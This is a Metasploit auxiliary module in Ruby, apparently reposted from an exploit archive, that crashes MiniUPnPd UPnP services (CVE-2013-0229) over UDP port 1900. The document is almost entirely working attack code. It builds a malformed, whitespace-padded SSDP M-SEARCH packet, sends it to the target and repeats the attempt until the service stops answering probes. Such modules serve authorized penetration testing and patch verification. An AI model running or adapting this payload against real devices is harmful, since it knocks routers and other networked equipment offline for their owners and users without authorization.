MiniUPnPd 1.4 Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',  
'Description' => %q{  
This module allows remote attackers to cause a denial of service (DoS)  
in MiniUPnP 1.0 server via a specifically crafted UDP request.  
},  
'Author' =>  
[  
'hdm', # Vulnerability discovery  
'Dejan Lukan' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-0229' ],  
[ 'OSVDB', '89625' ],  
[ 'BID', '57607' ],  
[ 'URL', 'https://www.rapid7.com/blog/post/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play/' ],  
[ 'URL', 'https://www.hdm.io/writing/SecurityFlawsUPnP.pdf' ]  
],  
'DisclosureDate' => '2013-03-27',  
))  
  
register_options(  
[  
Opt::RPORT(1900),  
OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])  
])  
end  
  
def send_probe(udp_sock, probe)  
udp_sock.put(probe)  
data = udp_sock.recvfrom  
if data and not data[0].empty?  
return data[0]  
else  
return nil  
end  
end  
  
def run  
# the M-SEARCH probe packet that tries to identify whether the service is up or not  
msearch_probe = "M-SEARCH * HTTP/1.1\r\n"  
msearch_probe << "Host:239.255.255.250:1900\r\n"  
msearch_probe << "ST:upnp:rootdevice\r\n"  
msearch_probe << "Man:\"ssdp:discover\"\r\n"  
msearch_probe << "MX:3\r\n"  
msearch_probe << "\r\n"  
  
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the  
# ST line  
sploit = "M-SEARCH * HTTP/1.1\r\n"  
sploit << "HOST: 239.255.255.250:1900\r\n"  
sploit << "ST:uuid:schemas:device:MX:3"  
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'  
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary  
# characters: there's more chance that the program will run off the stack.  
sploit += ' '*(1500-sploit.length)  
  
  
# connect to the UDP port  
connect_udp  
  
print_status("#{rhost}:#{rport} - Checking UPnP...")  
response = send_probe(udp_sock, msearch_probe)  
if response.nil?  
print_error("#{rhost}:#{rport} - UPnP end not found")  
disconnect_udp  
return  
end  
  
(1..datastore['ATTEMPTS']).each { |attempt|  
print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")  
  
# send the exploit to the target  
print_status("#{rhost}:#{rport} - Sending malformed packet...")  
udp_sock.put(sploit)  
  
# send the probe to the target  
print_status("#{rhost}:#{rport} - The target should be unresponsive now...")  
response = send_probe(udp_sock, msearch_probe)  
if response.nil?  
print_good("#{rhost}:#{rport} - UPnP unresponsive")  
disconnect_udp  
return  
else  
print_status("#{rhost}:#{rport} - UPnP is responsive still")  
end  
}  
  
disconnect_udp  
end  
end  
`